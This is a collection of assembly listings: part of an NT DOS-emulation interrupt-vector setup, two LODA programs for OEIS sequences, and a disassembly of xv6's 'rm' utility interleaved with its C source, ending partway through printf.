mov ax, offset int18h_vector ; INT 18h
stosw ; ROM BASIC.
mov ax, ds
stosw
; int 19h (reboot vector) already done for both x86\mips
; int 1ah, time of day, already done for both x86\mips
mov di, 1Bh*4
mov ax, offset dummy_vector ; INT 1Bh
stosw ; Keyboard break.
mov ax, ds
stosw
mov ax, offset dummy_vector ; INT 1Ch
stosw ; Timer tick.
mov ax, ds
stosw
mov di, 1Eh*4 ; Floppy parameters.
mov ax, offset bios_floppy_table
stosw
mov ax, ds
stosw
; int 40h already done (see above) for both mips\x86
mov di, 41h*4
mov ax, offset unexp_int ; INT 41h
stosw ; Hard disk parameters.
mov ax, ds
stosw
mov ax, offset int42h_vector ; INT 42h
stosw ; Default video.
mov ax, ds
stosw
mov di, 70h*4 ; Real time clock init.
mov ax, offset int70h_vector
stosw
mov ax, ds
stosw
mov ax, offset int71h_vector ; INT 71h Redirect.
stosw
mov ax, ds
stosw
mov ax, offset intD11_vector ; INT 72h D11 int
stosw
mov ax, ds
stosw
mov ax, offset intD11_vector ; INT 73h D11 int
stosw
mov ax, ds
stosw
mov ax, offset intD11_vector ; INT 74h D11 int
stosw
mov ax, ds
stosw
mov ax, offset int75h_vector ; INT 75h 287 int
stosw
mov ax, ds
stosw
mov ax, offset intD11_vector ; INT 76h D11 int
stosw
mov ax, ds
stosw
mov ax, offset intD11_vector ; INT 77h D11 int
stosw
mov ax, ds
stosw
isk_Exit:
;;
;; williamh, May 16, 1996
;; Photostyler blindly calls EMS function without even checking
;; if EMS driver ever exists at all. On most x86 machines, we are fine because
;; the ROM BIOS sets the vector to a valid address. On certain x86 machines
;; and all RISC machines, the vector is 0:0. This hack is to repoint
;; the vector to our dummy iret routine if it is not initialized. Windows 3.1
;; Windows 95 ALWAYS redirect this vector to their own, so they don't have
;; the problem as we do.
;; Also note that the application may skip the EMS calls if the system has
;; big memory(more than 16MB, maybe). In this case, the problem won't get hit
;; at all.
;;
;; ds = segment of ntio.sys resident portion. It is the segment of our
;; iret_com rountine
;;
xor di, di
mov es, di
mov di, 067h * 4 ; the EMS vector
mov ax, es:[di]
or ax, es:[di + 2] ;; anything set for the vector?
jnz i67_patch_done
mov word ptr es:[di], offset iret_com
mov es:[di + 2], ds
i67_patch_done:
call DOSTI
popa
ret
InstSpcKbd endp
SpcKbdSeg ends
end
|
programs/oeis/291/A291267.asm | neoneye/loda | 22 | 11097 | ; A291267: The arithmetic function v_2(n,3).
; 0,1,1,2,2,2,2,3,4,4,4,4,4,6,5,6,6,6,8,7,8,8,8,10,8,9,9,10,12,10,10,12,12,14,12,12,12,13,16,14,14,14,16,18,16,16,16,16,20,18,17,18,18,22,18,19,20,20,24,20,20,21,21,26,24,22,24,24,28
add $0,1
mov $1,$0
lpb $1
sub $1,2
mul $1,2
mov $2,$1
cmp $2,0
add $1,$2
mov $3,$0
dif $3,$1
lpb $3
cmp $3,$0
cmp $3,0
mul $3,$1
div $1,2
sub $1,1
lpe
sub $0,1
lpe
div $0,2
|
programs/oeis/269/A269620.asm | jmorken/loda | 1 | 247812 | <gh_stars>1-10
; A269620: Number of length-4 0..n arrays with no repeated value differing from the previous repeated value by other than plus two, zero or minus 1.
; 15,78,249,612,1275,2370,4053,6504,9927,14550,20625,28428,38259,50442,65325,83280,104703,130014,159657,194100,233835,279378,331269,390072,456375,530790,613953,706524,809187,922650,1047645,1184928,1335279
mov $3,$0
add $0,2
mov $2,$0
lpb $0
lpb $0
sub $0,1
add $4,$2
lpe
mov $2,0
lpb $4
add $1,$2
add $2,2
sub $4,1
lpe
sub $1,2
lpe
lpb $3
add $1,3
sub $3,1
lpe
add $1,5
|
rm.asm | jinsongwei/kernel_xv6 | 0 | 167511 | <filename>rm.asm
_rm: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "stat.h"
#include "user.h"
int
main(int argc, char *argv[])
{
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 83 e4 f0 and $0xfffffff0,%esp
6: 83 ec 20 sub $0x20,%esp
int i;
if(argc < 2){
9: 83 7d 08 01 cmpl $0x1,0x8(%ebp)
d: 7f 19 jg 28 <main+0x28>
printf(2, "Usage: rm files...\n");
f: c7 44 24 04 33 08 00 movl $0x833,0x4(%esp)
16: 00
17: c7 04 24 02 00 00 00 movl $0x2,(%esp)
1e: e8 49 04 00 00 call 46c <printf>
exit();
23: e8 c0 02 00 00 call 2e8 <exit>
}
for(i = 1; i < argc; i++){
28: c7 44 24 1c 01 00 00 movl $0x1,0x1c(%esp)
2f: 00
30: eb 43 jmp 75 <main+0x75>
if(unlink(argv[i]) < 0){
32: 8b 44 24 1c mov 0x1c(%esp),%eax
36: c1 e0 02 shl $0x2,%eax
39: 03 45 0c add 0xc(%ebp),%eax
3c: 8b 00 mov (%eax),%eax
3e: 89 04 24 mov %eax,(%esp)
41: e8 f2 02 00 00 call 338 <unlink>
46: 85 c0 test %eax,%eax
48: 79 26 jns 70 <main+0x70>
printf(2, "rm: %s failed to delete\n", argv[i]);
4a: 8b 44 24 1c mov 0x1c(%esp),%eax
4e: c1 e0 02 shl $0x2,%eax
51: 03 45 0c add 0xc(%ebp),%eax
54: 8b 00 mov (%eax),%eax
56: 89 44 24 08 mov %eax,0x8(%esp)
5a: c7 44 24 04 47 08 00 movl $0x847,0x4(%esp)
61: 00
62: c7 04 24 02 00 00 00 movl $0x2,(%esp)
69: e8 fe 03 00 00 call 46c <printf>
break;
6e: eb 0e jmp 7e <main+0x7e>
if(argc < 2){
printf(2, "Usage: rm files...\n");
exit();
}
for(i = 1; i < argc; i++){
70: 83 44 24 1c 01 addl $0x1,0x1c(%esp)
75: 8b 44 24 1c mov 0x1c(%esp),%eax
79: 3b 45 08 cmp 0x8(%ebp),%eax
7c: 7c b4 jl 32 <main+0x32>
printf(2, "rm: %s failed to delete\n", argv[i]);
break;
}
}
exit();
7e: e8 65 02 00 00 call 2e8 <exit>
83: 90 nop
00000084 <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
84: 55 push %ebp
85: 89 e5 mov %esp,%ebp
87: 57 push %edi
88: 53 push %ebx
asm volatile("cld; rep stosb" :
89: 8b 4d 08 mov 0x8(%ebp),%ecx
8c: 8b 55 10 mov 0x10(%ebp),%edx
8f: 8b 45 0c mov 0xc(%ebp),%eax
92: 89 cb mov %ecx,%ebx
94: 89 df mov %ebx,%edi
96: 89 d1 mov %edx,%ecx
98: fc cld
99: f3 aa rep stos %al,%es:(%edi)
9b: 89 ca mov %ecx,%edx
9d: 89 fb mov %edi,%ebx
9f: 89 5d 08 mov %ebx,0x8(%ebp)
a2: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
a5: 5b pop %ebx
a6: 5f pop %edi
a7: 5d pop %ebp
a8: c3 ret
000000a9 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
a9: 55 push %ebp
aa: 89 e5 mov %esp,%ebp
ac: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
af: 8b 45 08 mov 0x8(%ebp),%eax
b2: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
b5: 8b 45 0c mov 0xc(%ebp),%eax
b8: 0f b6 10 movzbl (%eax),%edx
bb: 8b 45 08 mov 0x8(%ebp),%eax
be: 88 10 mov %dl,(%eax)
c0: 8b 45 08 mov 0x8(%ebp),%eax
c3: 0f b6 00 movzbl (%eax),%eax
c6: 84 c0 test %al,%al
c8: 0f 95 c0 setne %al
cb: 83 45 08 01 addl $0x1,0x8(%ebp)
cf: 83 45 0c 01 addl $0x1,0xc(%ebp)
d3: 84 c0 test %al,%al
d5: 75 de jne b5 <strcpy+0xc>
;
return os;
d7: 8b 45 fc mov -0x4(%ebp),%eax
}
da: c9 leave
db: c3 ret
000000dc <strcmp>:
int
strcmp(const char *p, const char *q)
{
dc: 55 push %ebp
dd: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
df: eb 08 jmp e9 <strcmp+0xd>
p++, q++;
e1: 83 45 08 01 addl $0x1,0x8(%ebp)
e5: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
e9: 8b 45 08 mov 0x8(%ebp),%eax
ec: 0f b6 00 movzbl (%eax),%eax
ef: 84 c0 test %al,%al
f1: 74 10 je 103 <strcmp+0x27>
f3: 8b 45 08 mov 0x8(%ebp),%eax
f6: 0f b6 10 movzbl (%eax),%edx
f9: 8b 45 0c mov 0xc(%ebp),%eax
fc: 0f b6 00 movzbl (%eax),%eax
ff: 38 c2 cmp %al,%dl
101: 74 de je e1 <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
103: 8b 45 08 mov 0x8(%ebp),%eax
106: 0f b6 00 movzbl (%eax),%eax
109: 0f b6 d0 movzbl %al,%edx
10c: 8b 45 0c mov 0xc(%ebp),%eax
10f: 0f b6 00 movzbl (%eax),%eax
112: 0f b6 c0 movzbl %al,%eax
115: 89 d1 mov %edx,%ecx
117: 29 c1 sub %eax,%ecx
119: 89 c8 mov %ecx,%eax
}
11b: 5d pop %ebp
11c: c3 ret
0000011d <strlen>:
uint
strlen(char *s)
{
11d: 55 push %ebp
11e: 89 e5 mov %esp,%ebp
120: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
123: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
12a: eb 04 jmp 130 <strlen+0x13>
12c: 83 45 fc 01 addl $0x1,-0x4(%ebp)
130: 8b 45 fc mov -0x4(%ebp),%eax
133: 03 45 08 add 0x8(%ebp),%eax
136: 0f b6 00 movzbl (%eax),%eax
139: 84 c0 test %al,%al
13b: 75 ef jne 12c <strlen+0xf>
;
return n;
13d: 8b 45 fc mov -0x4(%ebp),%eax
}
140: c9 leave
141: c3 ret
00000142 <memset>:
void*
memset(void *dst, int c, uint n)
{
142: 55 push %ebp
143: 89 e5 mov %esp,%ebp
145: 83 ec 0c sub $0xc,%esp
stosb(dst, c, n);
148: 8b 45 10 mov 0x10(%ebp),%eax
14b: 89 44 24 08 mov %eax,0x8(%esp)
14f: 8b 45 0c mov 0xc(%ebp),%eax
152: 89 44 24 04 mov %eax,0x4(%esp)
156: 8b 45 08 mov 0x8(%ebp),%eax
159: 89 04 24 mov %eax,(%esp)
15c: e8 23 ff ff ff call 84 <stosb>
return dst;
161: 8b 45 08 mov 0x8(%ebp),%eax
}
164: c9 leave
165: c3 ret
00000166 <strchr>:
char*
strchr(const char *s, char c)
{
166: 55 push %ebp
167: 89 e5 mov %esp,%ebp
169: 83 ec 04 sub $0x4,%esp
16c: 8b 45 0c mov 0xc(%ebp),%eax
16f: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
172: eb 14 jmp 188 <strchr+0x22>
if(*s == c)
174: 8b 45 08 mov 0x8(%ebp),%eax
177: 0f b6 00 movzbl (%eax),%eax
17a: 3a 45 fc cmp -0x4(%ebp),%al
17d: 75 05 jne 184 <strchr+0x1e>
return (char*)s;
17f: 8b 45 08 mov 0x8(%ebp),%eax
182: eb 13 jmp 197 <strchr+0x31>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
184: 83 45 08 01 addl $0x1,0x8(%ebp)
188: 8b 45 08 mov 0x8(%ebp),%eax
18b: 0f b6 00 movzbl (%eax),%eax
18e: 84 c0 test %al,%al
190: 75 e2 jne 174 <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
192: b8 00 00 00 00 mov $0x0,%eax
}
197: c9 leave
198: c3 ret
00000199 <gets>:
char*
gets(char *buf, int max)
{
199: 55 push %ebp
19a: 89 e5 mov %esp,%ebp
19c: 83 ec 28 sub $0x28,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
19f: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
1a6: eb 44 jmp 1ec <gets+0x53>
cc = read(0, &c, 1);
1a8: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
1af: 00
1b0: 8d 45 ef lea -0x11(%ebp),%eax
1b3: 89 44 24 04 mov %eax,0x4(%esp)
1b7: c7 04 24 00 00 00 00 movl $0x0,(%esp)
1be: e8 3d 01 00 00 call 300 <read>
1c3: 89 45 f4 mov %eax,-0xc(%ebp)
if(cc < 1)
1c6: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
1ca: 7e 2d jle 1f9 <gets+0x60>
break;
buf[i++] = c;
1cc: 8b 45 f0 mov -0x10(%ebp),%eax
1cf: 03 45 08 add 0x8(%ebp),%eax
1d2: 0f b6 55 ef movzbl -0x11(%ebp),%edx
1d6: 88 10 mov %dl,(%eax)
1d8: 83 45 f0 01 addl $0x1,-0x10(%ebp)
if(c == '\n' || c == '\r')
1dc: 0f b6 45 ef movzbl -0x11(%ebp),%eax
1e0: 3c 0a cmp $0xa,%al
1e2: 74 16 je 1fa <gets+0x61>
1e4: 0f b6 45 ef movzbl -0x11(%ebp),%eax
1e8: 3c 0d cmp $0xd,%al
1ea: 74 0e je 1fa <gets+0x61>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
1ec: 8b 45 f0 mov -0x10(%ebp),%eax
1ef: 83 c0 01 add $0x1,%eax
1f2: 3b 45 0c cmp 0xc(%ebp),%eax
1f5: 7c b1 jl 1a8 <gets+0xf>
1f7: eb 01 jmp 1fa <gets+0x61>
cc = read(0, &c, 1);
if(cc < 1)
break;
1f9: 90 nop
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
1fa: 8b 45 f0 mov -0x10(%ebp),%eax
1fd: 03 45 08 add 0x8(%ebp),%eax
200: c6 00 00 movb $0x0,(%eax)
return buf;
203: 8b 45 08 mov 0x8(%ebp),%eax
}
206: c9 leave
207: c3 ret
00000208 <stat>:
int
stat(char *n, struct stat *st)
{
208: 55 push %ebp
209: 89 e5 mov %esp,%ebp
20b: 83 ec 28 sub $0x28,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
20e: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
215: 00
216: 8b 45 08 mov 0x8(%ebp),%eax
219: 89 04 24 mov %eax,(%esp)
21c: e8 07 01 00 00 call 328 <open>
221: 89 45 f0 mov %eax,-0x10(%ebp)
if(fd < 0)
224: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
228: 79 07 jns 231 <stat+0x29>
return -1;
22a: b8 ff ff ff ff mov $0xffffffff,%eax
22f: eb 23 jmp 254 <stat+0x4c>
r = fstat(fd, st);
231: 8b 45 0c mov 0xc(%ebp),%eax
234: 89 44 24 04 mov %eax,0x4(%esp)
238: 8b 45 f0 mov -0x10(%ebp),%eax
23b: 89 04 24 mov %eax,(%esp)
23e: e8 fd 00 00 00 call 340 <fstat>
243: 89 45 f4 mov %eax,-0xc(%ebp)
close(fd);
246: 8b 45 f0 mov -0x10(%ebp),%eax
249: 89 04 24 mov %eax,(%esp)
24c: e8 bf 00 00 00 call 310 <close>
return r;
251: 8b 45 f4 mov -0xc(%ebp),%eax
}
254: c9 leave
255: c3 ret
00000256 <atoi>:
int
atoi(const char *s)
{
256: 55 push %ebp
257: 89 e5 mov %esp,%ebp
259: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
25c: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
263: eb 24 jmp 289 <atoi+0x33>
n = n*10 + *s++ - '0';
265: 8b 55 fc mov -0x4(%ebp),%edx
268: 89 d0 mov %edx,%eax
26a: c1 e0 02 shl $0x2,%eax
26d: 01 d0 add %edx,%eax
26f: 01 c0 add %eax,%eax
271: 89 c2 mov %eax,%edx
273: 8b 45 08 mov 0x8(%ebp),%eax
276: 0f b6 00 movzbl (%eax),%eax
279: 0f be c0 movsbl %al,%eax
27c: 8d 04 02 lea (%edx,%eax,1),%eax
27f: 83 e8 30 sub $0x30,%eax
282: 89 45 fc mov %eax,-0x4(%ebp)
285: 83 45 08 01 addl $0x1,0x8(%ebp)
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
289: 8b 45 08 mov 0x8(%ebp),%eax
28c: 0f b6 00 movzbl (%eax),%eax
28f: 3c 2f cmp $0x2f,%al
291: 7e 0a jle 29d <atoi+0x47>
293: 8b 45 08 mov 0x8(%ebp),%eax
296: 0f b6 00 movzbl (%eax),%eax
299: 3c 39 cmp $0x39,%al
29b: 7e c8 jle 265 <atoi+0xf>
n = n*10 + *s++ - '0';
return n;
29d: 8b 45 fc mov -0x4(%ebp),%eax
}
2a0: c9 leave
2a1: c3 ret
000002a2 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
2a2: 55 push %ebp
2a3: 89 e5 mov %esp,%ebp
2a5: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
2a8: 8b 45 08 mov 0x8(%ebp),%eax
2ab: 89 45 f8 mov %eax,-0x8(%ebp)
src = vsrc;
2ae: 8b 45 0c mov 0xc(%ebp),%eax
2b1: 89 45 fc mov %eax,-0x4(%ebp)
while(n-- > 0)
2b4: eb 13 jmp 2c9 <memmove+0x27>
*dst++ = *src++;
2b6: 8b 45 fc mov -0x4(%ebp),%eax
2b9: 0f b6 10 movzbl (%eax),%edx
2bc: 8b 45 f8 mov -0x8(%ebp),%eax
2bf: 88 10 mov %dl,(%eax)
2c1: 83 45 f8 01 addl $0x1,-0x8(%ebp)
2c5: 83 45 fc 01 addl $0x1,-0x4(%ebp)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
2c9: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
2cd: 0f 9f c0 setg %al
2d0: 83 6d 10 01 subl $0x1,0x10(%ebp)
2d4: 84 c0 test %al,%al
2d6: 75 de jne 2b6 <memmove+0x14>
*dst++ = *src++;
return vdst;
2d8: 8b 45 08 mov 0x8(%ebp),%eax
}
2db: c9 leave
2dc: c3 ret
2dd: 90 nop
2de: 90 nop
2df: 90 nop
000002e0 <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
2e0: b8 01 00 00 00 mov $0x1,%eax
2e5: cd 40 int $0x40
2e7: c3 ret
000002e8 <exit>:
SYSCALL(exit)
2e8: b8 02 00 00 00 mov $0x2,%eax
2ed: cd 40 int $0x40
2ef: c3 ret
000002f0 <wait>:
SYSCALL(wait)
2f0: b8 03 00 00 00 mov $0x3,%eax
2f5: cd 40 int $0x40
2f7: c3 ret
000002f8 <pipe>:
SYSCALL(pipe)
2f8: b8 04 00 00 00 mov $0x4,%eax
2fd: cd 40 int $0x40
2ff: c3 ret
00000300 <read>:
SYSCALL(read)
300: b8 05 00 00 00 mov $0x5,%eax
305: cd 40 int $0x40
307: c3 ret
00000308 <write>:
SYSCALL(write)
308: b8 10 00 00 00 mov $0x10,%eax
30d: cd 40 int $0x40
30f: c3 ret
00000310 <close>:
SYSCALL(close)
310: b8 15 00 00 00 mov $0x15,%eax
315: cd 40 int $0x40
317: c3 ret
00000318 <kill>:
SYSCALL(kill)
318: b8 06 00 00 00 mov $0x6,%eax
31d: cd 40 int $0x40
31f: c3 ret
00000320 <exec>:
SYSCALL(exec)
320: b8 07 00 00 00 mov $0x7,%eax
325: cd 40 int $0x40
327: c3 ret
00000328 <open>:
SYSCALL(open)
328: b8 0f 00 00 00 mov $0xf,%eax
32d: cd 40 int $0x40
32f: c3 ret
00000330 <mknod>:
SYSCALL(mknod)
330: b8 11 00 00 00 mov $0x11,%eax
335: cd 40 int $0x40
337: c3 ret
00000338 <unlink>:
SYSCALL(unlink)
338: b8 12 00 00 00 mov $0x12,%eax
33d: cd 40 int $0x40
33f: c3 ret
00000340 <fstat>:
SYSCALL(fstat)
340: b8 08 00 00 00 mov $0x8,%eax
345: cd 40 int $0x40
347: c3 ret
00000348 <link>:
SYSCALL(link)
348: b8 13 00 00 00 mov $0x13,%eax
34d: cd 40 int $0x40
34f: c3 ret
00000350 <mkdir>:
SYSCALL(mkdir)
350: b8 14 00 00 00 mov $0x14,%eax
355: cd 40 int $0x40
357: c3 ret
00000358 <chdir>:
SYSCALL(chdir)
358: b8 09 00 00 00 mov $0x9,%eax
35d: cd 40 int $0x40
35f: c3 ret
00000360 <dup>:
SYSCALL(dup)
360: b8 0a 00 00 00 mov $0xa,%eax
365: cd 40 int $0x40
367: c3 ret
00000368 <getpid>:
SYSCALL(getpid)
368: b8 0b 00 00 00 mov $0xb,%eax
36d: cd 40 int $0x40
36f: c3 ret
00000370 <sbrk>:
SYSCALL(sbrk)
370: b8 0c 00 00 00 mov $0xc,%eax
375: cd 40 int $0x40
377: c3 ret
00000378 <sleep>:
SYSCALL(sleep)
378: b8 0d 00 00 00 mov $0xd,%eax
37d: cd 40 int $0x40
37f: c3 ret
00000380 <uptime>:
SYSCALL(uptime)
380: b8 0e 00 00 00 mov $0xe,%eax
385: cd 40 int $0x40
387: c3 ret
00000388 <count>:
//add
SYSCALL(count)
388: b8 16 00 00 00 mov $0x16,%eax
38d: cd 40 int $0x40
38f: c3 ret
00000390 <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
390: 55 push %ebp
391: 89 e5 mov %esp,%ebp
393: 83 ec 28 sub $0x28,%esp
396: 8b 45 0c mov 0xc(%ebp),%eax
399: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
39c: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
3a3: 00
3a4: 8d 45 f4 lea -0xc(%ebp),%eax
3a7: 89 44 24 04 mov %eax,0x4(%esp)
3ab: 8b 45 08 mov 0x8(%ebp),%eax
3ae: 89 04 24 mov %eax,(%esp)
3b1: e8 52 ff ff ff call 308 <write>
}
3b6: c9 leave
3b7: c3 ret
000003b8 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
3b8: 55 push %ebp
3b9: 89 e5 mov %esp,%ebp
3bb: 53 push %ebx
3bc: 83 ec 44 sub $0x44,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
3bf: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
3c6: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
3ca: 74 17 je 3e3 <printint+0x2b>
3cc: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
3d0: 79 11 jns 3e3 <printint+0x2b>
neg = 1;
3d2: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
3d9: 8b 45 0c mov 0xc(%ebp),%eax
3dc: f7 d8 neg %eax
3de: 89 45 f4 mov %eax,-0xc(%ebp)
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
3e1: eb 06 jmp 3e9 <printint+0x31>
neg = 1;
x = -xx;
} else {
x = xx;
3e3: 8b 45 0c mov 0xc(%ebp),%eax
3e6: 89 45 f4 mov %eax,-0xc(%ebp)
}
i = 0;
3e9: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
do{
buf[i++] = digits[x % base];
3f0: 8b 4d ec mov -0x14(%ebp),%ecx
3f3: 8b 5d 10 mov 0x10(%ebp),%ebx
3f6: 8b 45 f4 mov -0xc(%ebp),%eax
3f9: ba 00 00 00 00 mov $0x0,%edx
3fe: f7 f3 div %ebx
400: 89 d0 mov %edx,%eax
402: 0f b6 80 68 08 00 00 movzbl 0x868(%eax),%eax
409: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1)
40d: 83 45 ec 01 addl $0x1,-0x14(%ebp)
}while((x /= base) != 0);
411: 8b 45 10 mov 0x10(%ebp),%eax
414: 89 45 d4 mov %eax,-0x2c(%ebp)
417: 8b 45 f4 mov -0xc(%ebp),%eax
41a: ba 00 00 00 00 mov $0x0,%edx
41f: f7 75 d4 divl -0x2c(%ebp)
422: 89 45 f4 mov %eax,-0xc(%ebp)
425: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
429: 75 c5 jne 3f0 <printint+0x38>
if(neg)
42b: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
42f: 74 2a je 45b <printint+0xa3>
buf[i++] = '-';
431: 8b 45 ec mov -0x14(%ebp),%eax
434: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
439: 83 45 ec 01 addl $0x1,-0x14(%ebp)
while(--i >= 0)
43d: eb 1d jmp 45c <printint+0xa4>
putc(fd, buf[i]);
43f: 8b 45 ec mov -0x14(%ebp),%eax
442: 0f b6 44 05 dc movzbl -0x24(%ebp,%eax,1),%eax
447: 0f be c0 movsbl %al,%eax
44a: 89 44 24 04 mov %eax,0x4(%esp)
44e: 8b 45 08 mov 0x8(%ebp),%eax
451: 89 04 24 mov %eax,(%esp)
454: e8 37 ff ff ff call 390 <putc>
459: eb 01 jmp 45c <printint+0xa4>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
45b: 90 nop
45c: 83 6d ec 01 subl $0x1,-0x14(%ebp)
460: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
464: 79 d9 jns 43f <printint+0x87>
putc(fd, buf[i]);
}
466: 83 c4 44 add $0x44,%esp
469: 5b pop %ebx
46a: 5d pop %ebp
46b: c3 ret
0000046c <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
46c: 55 push %ebp
46d: 89 e5 mov %esp,%ebp
46f: 83 ec 38 sub $0x38,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
472: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
ap = (uint*)(void*)&fmt + 1;
479: 8d 45 0c lea 0xc(%ebp),%eax
47c: 83 c0 04 add $0x4,%eax
47f: 89 45 f4 mov %eax,-0xc(%ebp)
for(i = 0; fmt[i]; i++){
482: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
489: e9 7e 01 00 00 jmp 60c <printf+0x1a0>
c = fmt[i] & 0xff;
48e: 8b 55 0c mov 0xc(%ebp),%edx
491: 8b 45 ec mov -0x14(%ebp),%eax
494: 8d 04 02 lea (%edx,%eax,1),%eax
497: 0f b6 00 movzbl (%eax),%eax
49a: 0f be c0 movsbl %al,%eax
49d: 25 ff 00 00 00 and $0xff,%eax
4a2: 89 45 e8 mov %eax,-0x18(%ebp)
if(state == 0){
4a5: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
4a9: 75 2c jne 4d7 <printf+0x6b>
if(c == '%'){
4ab: 83 7d e8 25 cmpl $0x25,-0x18(%ebp)
4af: 75 0c jne 4bd <printf+0x51>
state = '%';
4b1: c7 45 f0 25 00 00 00 movl $0x25,-0x10(%ebp)
4b8: e9 4b 01 00 00 jmp 608 <printf+0x19c>
} else {
putc(fd, c);
4bd: 8b 45 e8 mov -0x18(%ebp),%eax
4c0: 0f be c0 movsbl %al,%eax
4c3: 89 44 24 04 mov %eax,0x4(%esp)
4c7: 8b 45 08 mov 0x8(%ebp),%eax
4ca: 89 04 24 mov %eax,(%esp)
4cd: e8 be fe ff ff call 390 <putc>
4d2: e9 31 01 00 00 jmp 608 <printf+0x19c>
}
} else if(state == '%'){
4d7: 83 7d f0 25 cmpl $0x25,-0x10(%ebp)
4db: 0f 85 27 01 00 00 jne 608 <printf+0x19c>
if(c == 'd'){
4e1: 83 7d e8 64 cmpl $0x64,-0x18(%ebp)
4e5: 75 2d jne 514 <printf+0xa8>
printint(fd, *ap, 10, 1);
4e7: 8b 45 f4 mov -0xc(%ebp),%eax
4ea: 8b 00 mov (%eax),%eax
4ec: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp)
4f3: 00
4f4: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
4fb: 00
4fc: 89 44 24 04 mov %eax,0x4(%esp)
500: 8b 45 08 mov 0x8(%ebp),%eax
503: 89 04 24 mov %eax,(%esp)
506: e8 ad fe ff ff call 3b8 <printint>
ap++;
50b: 83 45 f4 04 addl $0x4,-0xc(%ebp)
50f: e9 ed 00 00 00 jmp 601 <printf+0x195>
} else if(c == 'x' || c == 'p'){
514: 83 7d e8 78 cmpl $0x78,-0x18(%ebp)
518: 74 06 je 520 <printf+0xb4>
51a: 83 7d e8 70 cmpl $0x70,-0x18(%ebp)
51e: 75 2d jne 54d <printf+0xe1>
printint(fd, *ap, 16, 0);
520: 8b 45 f4 mov -0xc(%ebp),%eax
523: 8b 00 mov (%eax),%eax
525: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
52c: 00
52d: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
534: 00
535: 89 44 24 04 mov %eax,0x4(%esp)
539: 8b 45 08 mov 0x8(%ebp),%eax
53c: 89 04 24 mov %eax,(%esp)
53f: e8 74 fe ff ff call 3b8 <printint>
ap++;
544: 83 45 f4 04 addl $0x4,-0xc(%ebp)
}
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
548: e9 b4 00 00 00 jmp 601 <printf+0x195>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
54d: 83 7d e8 73 cmpl $0x73,-0x18(%ebp)
551: 75 46 jne 599 <printf+0x12d>
s = (char*)*ap;
553: 8b 45 f4 mov -0xc(%ebp),%eax
556: 8b 00 mov (%eax),%eax
558: 89 45 e4 mov %eax,-0x1c(%ebp)
ap++;
55b: 83 45 f4 04 addl $0x4,-0xc(%ebp)
if(s == 0)
55f: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
563: 75 27 jne 58c <printf+0x120>
s = "(null)";
